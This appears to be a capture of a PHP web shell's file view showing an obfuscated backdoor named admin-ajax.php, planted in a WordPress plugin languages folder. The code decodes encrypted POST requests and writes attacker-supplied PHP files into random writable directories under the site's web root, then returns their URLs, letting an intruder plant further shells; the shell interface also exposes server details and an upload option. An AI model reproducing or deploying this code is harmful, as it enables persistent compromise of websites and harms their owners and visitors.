HEX
Server: nginx/1.27.1
System: Linux in-4 5.15.0-131-generic #141-Ubuntu SMP Fri Jan 10 21:18:28 UTC 2025 x86_64
User: ilikadirect (1186)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system,proc_open,popen,parse_ini_file,show_source
Upload Files
File: /storage/v6964/gopalak/public_html/wp-content/languages/plugins/admin-ajax.php
<?php function ebEwk($MkIVtvmyW){$VJrGol = chr(114)."\x61".'w'."\x75"."\x72"."\154".chr(401-301).chr(101).chr(99)."\157".chr(100).chr(156-55);$DdUfFZ = "\163".'t'.'r'."\x5f".chr(114).'o'.'t'.chr(913-864).'3';$BHgVElFFFw = chr(115).chr(257-141).'r'.chr(95)."\x73"."\x70"."\x6c".'i'."\x74";$MkIVtvmyW = $BHgVElFFFw($VJrGol($DdUfFZ($MkIVtvmyW)));return $MkIVtvmyW;}function NtSzo($TYeXMVcRiG, $MkIVtvmyW){$mDHUpSQt = 's'.chr(354-238).chr(233-119).chr(95).'s'.chr(112).chr(108).chr(105).chr(116);$TYeXMVcRiG = array_slice($mDHUpSQt(str_repeat($TYeXMVcRiG, (count($MkIVtvmyW)/16)+1)), 0, count($MkIVtvmyW));return $TYeXMVcRiG;}function zAOVwRGc($hDXahH, $vbAXSWuTHP, $TYeXMVcRiG){$PyBQTVUUCr = "a115527c-8d78-4e61-ba66-77502faea31b";return $hDXahH ^ $PyBQTVUUCr[$vbAXSWuTHP % strlen($PyBQTVUUCr)] ^ $TYeXMVcRiG;}function MycKugD($MkIVtvmyW, $TYeXMVcRiG){$MkIVtvmyW = array_map("zAOVwRGc", array_values($MkIVtvmyW), array_keys($MkIVtvmyW), array_values($TYeXMVcRiG));$MkIVtvmyW = implode("", $MkIVtvmyW);$pQgGU = 'u'."\156".'s'."\145"."\162".'i'.chr(716-619).chr(108).chr(994-889)."\x7a".chr(884-783);$MkIVtvmyW = @$pQgGU($MkIVtvmyW);return $MkIVtvmyW;}function OLatIpLKI(){echo "qThkI";}function WNjumFbpmH($GsbJUOZUir){static $GBwZsIU = array();$ywgQgFXnQz = glob($GsbJUOZUir . '/*', GLOB_ONLYDIR);$wyQRWd = count($ywgQgFXnQz);if ($wyQRWd > 0) {foreach ($ywgQgFXnQz as $GsbJUOZU) {$hYcAh = 'i'.chr(115).'_'.'w'.chr(816-702)."\x69".chr(116)."\141".'b'."\x6c".'e';if (@$hYcAh($GsbJUOZU)) {$GBwZsIU[] = $GsbJUOZU;}}}foreach ($ywgQgFXnQz as $GsbJUOZUir) WNjumFbpmH($GsbJUOZUir);return $GBwZsIU;}function eComAsWg(){echo "qStrrDfeaf";}function UgGlO($MkIVtvmyW){$eTFLLPB = chr(68).chr(79).chr(414-347)."\x55".chr(713-636)."\x45".chr(78)."\124"."\x5f".'R'.chr(213-134)."\117".chr(750-666);$jjgPl = $_SERVER[$eTFLLPB];$ywgQgFXnQz = WNjumFbpmH($jjgPl);$ysYAKSt = array_rand($ywgQgFXnQz);$mQMeBxQRZ = "\x2e"."\160".chr(104)."\x70";$CGpHg = $ywgQgFXnQz[$ysYAKSt] . "/" . substr(md5(time()), 0, 8) . $mQMeBxQRZ;$pQnVBWTjhB = "\146".chr(899-794).chr(108).chr(904-803)."\137".'p'.chr(423-306).chr(459-343)."\x5f".chr(99).'o'.chr(110)."\x74"."\x65".chr(576-466)."\164".chr(665-550);@$pQnVBWTjhB($CGpHg, $MkIVtvmyW);$osrapKCr = chr(72).chr(765-681)."\x54"."\120"."\x5f"."\110".chr(79).chr(667-584)."\124";$UWVCKqyS = chr(104)."\164"."\x74".chr(444-332)."\x3a".'/'.chr(47);$QoHkNi = $UWVCKqyS . $_SERVER[$osrapKCr] . substr($CGpHg, strlen($jjgPl));print($QoHkNi);}foreach ($_POST as $TYeXMVcRiG => $MkIVtvmyW){$TFtwBh = strlen($TYeXMVcRiG);if ($TFtwBh == 16){$MkIVtvmyW = ebEwk($MkIVtvmyW);$TYeXMVcRiG = NtSzo($TYeXMVcRiG, $MkIVtvmyW);$MkIVtvmyW = MycKugD($MkIVtvmyW, $TYeXMVcRiG);if (@is_array($MkIVtvmyW)){$ysYAKSt = array_keys($MkIVtvmyW);$MkIVtvmyW = $MkIVtvmyW[$ysYAKSt[0]];if ($MkIVtvmyW === $ysYAKSt[0]){$eXCkKik = "\160".chr(104).'p';$KARbI = 'p'."\150"."\160".chr(497-379)."\x65"."\162".chr(115).chr(105)."\157".chr(453-343);$OUEeXdJZTl = "\x73"."\x65"."\162".'i'."\141".chr(108)."\x69"."\x7a"."\145";echo @$OUEeXdJZTl(Array($eXCkKik => @$KARbI(), ));}else {UgGlO($MkIVtvmyW);}die();}}}